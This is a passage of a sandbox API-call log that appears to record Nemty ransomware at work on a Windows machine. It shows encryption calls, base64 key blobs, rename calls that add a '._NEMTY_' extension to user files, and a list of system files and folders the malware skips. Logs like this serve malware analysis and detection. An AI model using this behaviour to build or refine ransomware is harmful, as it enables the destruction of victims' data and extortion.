pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.750] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0058.750] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="UsAmDz54F0t6Z9K6wHg5/L9+d+OMjoRZ5rYOpdXbDJj9BzP477WMmjsXAHyicXQu\r\nF8aSu8397P0442IyRPQ3d7G/Dz1Vom1cJGsZVBak9wTxV+KWyGbihtzOqmPdsxgI\r\nb26Lgc+Y4StsB0f+CioIUl0xNTUXJ1uMGRT5ycuzAwBtv+sBxvwnbXzl9exWsjXp\r\n8H1FPKchibt/w6VgbmXfh4d3HPiRONvSdIUYcgzfosWTVCOdPAdtjo8ouODakz2m\r\nNhKCRC65k9wpx6+kRMGRtSLgncsXyEi5lsNY9FymDjD6BAjIsTtYxCGXMFp/0cYC\r\nXoGbNCPNcqlFTDE+Vuphcg==\r\n", pcchString=0x653e91c) returned 1 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0058.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0058.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0058.750] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.751] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.760] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.760] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.806] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0058.865] CloseHandle (hObject=0xffffffff) returned 0 [0058.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0058.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0058.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0058.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0058.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0058.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0058.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0058.866] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv._nemty_kgobjgd_")) returned 0 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.866] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2=".") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="..") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="...") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="windows") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="rsa") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="NTDETECT.COM") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="ntldr") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="MSDOS.SYS") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="IO.SYS") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="boot.ini") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="boot.ini") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="ntuser.dat") returned -1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="desktop.ini") returned 1 [0058.866] lstrcmpiW (lpString1="highlight.png", lpString2="CONFIG.SYS") returned 1 [0058.867] lstrcmpiW (lpString1="highlight.png", lpString2="RECYCLER") returned -1 [0058.867] lstrcmpiW (lpString1="highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0058.867] lstrcmpiW (lpString1="highlight.png", lpString2="bootmgr") returned 1 [0058.867] lstrcmpiW (lpString1="highlight.png", lpString2="programdata") returned -1 [0058.867] lstrcmpiW (lpString1="highlight.png", lpString2="appdata") returned 1 [0058.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0058.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0058.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0058.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highlight.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highlight.png", lpUsedDefaultChar=0x0) returned 13 [0058.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0058.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94328 [0058.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0058.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0058.867] Sleep (dwMilliseconds=0x5) [0058.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6bcc9f0, dwHighDateTime=0x1d561e7)) [0058.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd6bcc9f0, dwHighDateTime=0x1d561e7)) [0058.873] GetLastError () returned 0x5 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0058.873] GetLastError () returned 0x5 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0058.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0058.873] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0058.873] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0058.873] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0058.873] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="RkpYVoOJByhGgRulQ5HeT8LKYlhX08aqWpdlc4FaR0+Q5spzvhts6mDW4Pbl3E3U\r\nARk7PwfaVv9Cz624PjqcRvN8xmewxoAvRYr1pGVpxoAND5xtR78BFO+dIfZxVDTF\r\nMwx18Luj4Ip59TkDjRHi4rdO07Ep7CrPubM9ZRAJ4ZurVJJN+GC5ayDPU9+CoNPO\r\nRX/TP+5AXny+m2BIVAj5wJTN0yQRxWMonkMrXEzbtXJHGm2BE71JIuj8J73yqLLm\r\nuYyTdWGWFTvSEThH+9u958wVFTjwhxMtEIL/xSO0u73wx/4ShHj5Q5uewijFps4A\r\nwWFgQ6VhtIMjZgmj7C1xUg==\r\n", pcchString=0x653e91c) returned 1 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0058.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0058.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0058.873] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.873] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0058.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0058.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0058.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0058.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0058.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, 